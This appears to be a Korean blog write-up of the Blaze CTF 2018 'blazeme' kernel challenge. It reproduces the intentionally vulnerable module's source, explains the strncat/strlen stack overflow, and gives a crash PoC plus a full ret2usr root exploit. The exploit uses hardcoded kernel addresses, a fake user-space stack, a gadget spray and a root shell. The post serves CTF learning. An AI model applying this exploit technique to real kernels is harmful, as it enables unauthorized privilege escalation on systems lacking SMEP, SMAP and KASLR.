ii4gsp

[Kernel] Blaze CTF 2018 - blazeme 본문

시스템 해킹/Kernel

[Kernel] Blaze CTF 2018 - blazeme

ii4gsp 2021. 2. 22. 04:44

문제에서 주어지는 파일은 위와 같다.

 

 

 

 

부팅 스크립트로 부팅을 해주면 로그인 하라고 나오는데 id: blazeme password: guest 로 로그인하면 된다.

모든 커널 문제와 마찬가지로 권한을 root로 변경하면 된다.

 

 

 

 

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

#define DEVICE_NAME "blazeme"

#define ERR_BLAZEME_OK (1)
#define ERR_BLAZEME_MALLOC_FAIL (2)

#define KBUF_LEN (64)

dev_t dev = 0;
static struct cdev cdev;
static struct class *blazeme_class;

ssize_t blazeme_read(struct file *file, char __user *buf, size_t count,
								loff_t *ppos);
ssize_t blazeme_write(struct file *file, const char __user *buf,
		size_t count, loff_t *ppos);

int blazeme_open(struct inode *inode, struct file *file);
int blazeme_close(struct inode *inode, struct file *file);

char *kbuf;

struct file_operations blazeme_fops =  
{  
    .owner           = THIS_MODULE,  
    .read            = blazeme_read,       
    .write           = blazeme_write,         
    .open            = blazeme_open,       
    .release         = blazeme_close,    
};  

ssize_t blazeme_read(struct file *file, char __user *buf, size_t count,
								loff_t *ppos) {
	int len = count;
	ssize_t ret = ERR_BLAZEME_OK;
	
	if (len > KBUF_LEN || kbuf == NULL) {
		ret = ERR_BLAZEME_OK;
		goto out;
	}

	if (copy_to_user(buf, kbuf, len)) {
		goto out;
	}

	return (ssize_t)len;

out:
	return ret;
}

ssize_t blazeme_write(struct file *file,
						const char __user *buf,
						size_t count, loff_t *ppos) {
	char str[512] = "Hello ";
	ssize_t ret = ERR_BLAZEME_OK;

	if (buf == NULL) {
		printk(KERN_INFO "blazeme_write get a null ptr: buffer\n");
		ret = ERR_BLAZEME_OK;
		goto out;
	}

	if (count > KBUF_LEN) {
		printk(KERN_INFO "blazeme_wrtie invaild paramter count (%zu)\n", count);
		ret = ERR_BLAZEME_OK;
		goto out;
	} 

	kbuf = NULL;
	kbuf = kmalloc(KBUF_LEN, GFP_KERNEL);
	if (kbuf == NULL) {
		printk(KERN_INFO "blazeme_write malloc fail\n");
		ret = ERR_BLAZEME_MALLOC_FAIL;
		goto out;
	}

	if (copy_from_user(kbuf, buf, count)) {
		kfree(kbuf);
		kbuf = NULL;
		goto out;
	}

	if (kbuf != NULL) {
		strncat(str, kbuf, strlen(kbuf));
		printk(KERN_INFO "%s", str);
	}

	return (ssize_t)count;

out:
	return ret;
}

int blazeme_open(struct inode *inode, struct file *file) {
	return 0;
}

int blazeme_close(struct inode *inode, struct file *file) {
	return 0;
}

int blazeme_init(void) {
	int ret = 0;

	ret = alloc_chrdev_region(&dev, 0, 1, DEVICE_NAME);
	if (ret) {
		printk("blazeme_init failed alloc: %d\n", ret);
		return ret;
	}

	memset(&cdev, 0, sizeof(struct cdev));
	
	cdev_init(&cdev, &blazeme_fops);
	cdev.owner = THIS_MODULE;
	cdev.ops = &blazeme_fops;

	ret = cdev_add(&cdev, dev, 1);
	if (ret) {
		printk("blazeme_init, cdev_add fail\n");
		return ret;
	}

	blazeme_class = class_create(THIS_MODULE, DEVICE_NAME);
	if (IS_ERR(blazeme_class)) {
		printk("blazeme_init, class create failed!\n");
		return ret;
	}

	dev = device_create(blazeme_class, NULL, dev, NULL, DEVICE_NAME);
	if (IS_ERR(&cdev)) {
		ret = PTR_ERR(&cdev);
		printk("blazeme_init device create failed\n"); 

		class_destroy(blazeme_class);
		cdev_del(&cdev);
		unregister_chrdev_region(&dev, 1);

		return ret;
	}

	return 0;
}

void blazeme_exit(void)
{
	cdev_del(&cdev);
	class_destroy(blazeme_class);
	unregister_chrdev_region(&dev, 1);
}

module_init(blazeme_init);
module_exit(blazeme_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("BLAZECTF 2018 crixer");
MODULE_DESCRIPTION("BLAZECTF CTF 2018 Challenge Kernel Module");

문제에서 주어진 커널 모듈의 소스코드 이다.

 

 

 

 

ssize_t blazeme_write(struct file *file,
						const char __user *buf,
						size_t count, loff_t *ppos) {
	char str[512] = "Hello ";
	ssize_t ret = ERR_BLAZEME_OK;

	if (buf == NULL) {
		printk(KERN_INFO "blazeme_write get a null ptr: buffer\n");
		ret = ERR_BLAZEME_OK;
		goto out;
	}

	if (count > KBUF_LEN) {
		printk(KERN_INFO "blazeme_wrtie invaild paramter count (%zu)\n", count);
		ret = ERR_BLAZEME_OK;
		goto out;
	} 

	kbuf = NULL;
	kbuf = kmalloc(KBUF_LEN, GFP_KERNEL);
	if (kbuf == NULL) {
		printk(KERN_INFO "blazeme_write malloc fail\n");
		ret = ERR_BLAZEME_MALLOC_FAIL;
		goto out;
	}

	if (copy_from_user(kbuf, buf, count)) {
		kfree(kbuf);
		kbuf = NULL;
		goto out;
	}

	if (kbuf != NULL) {
		strncat(str, kbuf, strlen(kbuf));
		printk(KERN_INFO "%s", str);
	}

	return (ssize_t)count;

out:
	return ret;
}

우선 취약점은 blazeme_write() 함수에서 발생한다.

kmalloc() 함수로 kbuf에 힙을 할당하면 할당된 공간에 유저 버퍼를 kbuf에 복사를 한다.

그 후 kbuf가 NULL이 아니라면 strncat() 함수를 호출하는데 strncat() 함수는 문자열을 이어 붙이는 함수이다.

strncat() 함수의 size 인자로 strlen() 함수를 호출하는데 strlen() 함수는 NULL까지의 길이가 반환된다.

 

이제 여기서 SLUB Allocator를 이해 해야한다.

SLUB Allocator는 메모리를 할당 시 ptmalloc 처럼 힙 청크 내부에 메타데이터를 저장하지 않고 할당하려는 사이즈만큼 할당한다.

정리해보면 strlen() 함수는 NULL 바이트까지의 길이를 인자로 사용하는데 메타데이터와 NULL이 없는 힙 영역을 strlen() 함수의 인자로 사용한다.

 

이쯤되면 취약점을 완벽히 이해 하였을 것이다.

copy_from_user() 함수를 호출하여 데이터가 복사되지 않으면 kfree()가 호출되는데 kfree() 함수가 호출될 조건을 만족하지 못하므로 blazeme_write() 함수를 호출할 때 청크가 힙 영역에 계속해서 쌓이게 될 것이다.

 

게다가 strncat() 함수는 문자열을 이어 붙일 때 NULL를 지우고 문자열을 더 한다.

strlen() 함수의 반환값이 512를 넘는다면

str[512]가 오버플로우 일어나서 ret를 조작할 수 있을것이다.

 

 

 

 

#include <stdio.h>
#include <fcntl.h>

int main()
{
    char payload[64];
    int fd;

    fd = open("/dev/blazeme", O_RDWR);

    if(fd < 0)
    {
        printf("[-] Open /dev/blazeme Failed\n");
        exit(-1);
    }

    for(int i = 0; i < 64; i++)
    {
        payload[i] = 'A';
    }

    while(1)
    {
        write(fd, payload, 64);
    }
}

gcc -o poc poc.c -static

 

 

 

 

poc를 실행시키면 Segmentation fault 에러가 뜬다.

즉, Instruction Pointer가 조작되었단 것이다.

 

 

 

 

poc 실행 후 dmesg 명령어로 커널 로그를 확인해보면 RIP가 정확히 조작된것을 볼 수 있다.

kaslr, smep, smap, canary 보호기법이 걸려있지않아 고정된 가젯과 함수의 주소를 이용하여 익스를 진행하면 된다.

 

 

 

 

가젯은 0xffffffff814d2720 : mov esp, 0x5dffb7b0 ; ret 를 사용할 것이다.

 

 

 

 

// gcc -o exploit exploit.c -static
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

struct trap_frame
{
    void *user_rip;
    u_int64_t user_cs;
    u_int64_t user_rflags;
    void *user_rsp;
    u_int64_t user_ss;
} __attribute__ ((packed));
struct trap_frame tf;

void get_shell()
{
    if(getuid() == 0)
    {
        system("/bin/sh");
    }
}

void get_root()
{
    commit_creds(prepare_kernel_cred(0));

    asm("swapgs;"
        "movq $tf, %rsp;"
        "iretq;");
}

void prepare_tf()
{
    asm("xor %rax, %rax;"
	"mov %cs, %ax;"
	"pushq %rax; popq tf+8;"
	"pushfq; popq tf+16;"
	"pushq %rsp; popq tf+24;"
	"mov %ss, %ax;"
	"pushq %rax; popq tf+32;");

    tf.user_rip = &get_shell;
}

int main()
{
    commit_creds = (void*)0xffffffff81063960;
    prepare_kernel_cred = (void*)0xffffffff81063b50;

    prepare_tf();

    unsigned long *fake_stack = mmap((void*)0x5dff0000, 0x10000,
    PROT_READ | PROT_WRITE | PROT_EXEC, 0x32 | MAP_POPULATE | MAP_FIXED | MAP_GROWSDOWN, -1, 0);

    fake_stack[0xb7b0 / 8] = (unsigned long)get_root;

    unsigned long gadget[8];

    for(int i = 0; i < 8; ++i)
    {
        gadget[i] = 0xffffffff814d2720; // mov esp, 0x5dffb7b0 ; ret
    }

    char spray[64];

    strncpy(spray, "AA", 2);
    strncpy(&spray[2], (char *)gadget, 62);

    int fd = open("/dev/blazeme", O_RDWR);

    if(fd < 0)
    {
        printf("[-] Open /dev/blazeme Failed\n");
        exit(-1);
    }

    while(1)
    {
        write(fd, spray, 64);
    }

    return 0;
}

prepare_tf() 함수를 호출하여 stack layout을 tf 구조체에 저장을 해준다.

mmap() 함수로 userspace에 get_root()함수가 포함되는 fake stack을 만들어준다.

그 후 가젯을 스프레이하고 kernel space의 ret가 가젯으로 조작되면 get_root() 함수가 실행되면서 LPE가 된다.

전형적인 ret2usr기법이다.

 

 

 

 

힙 스프레이를 사용하기 때문에 Segmentation fault가 뜰 수도 있다.

Comments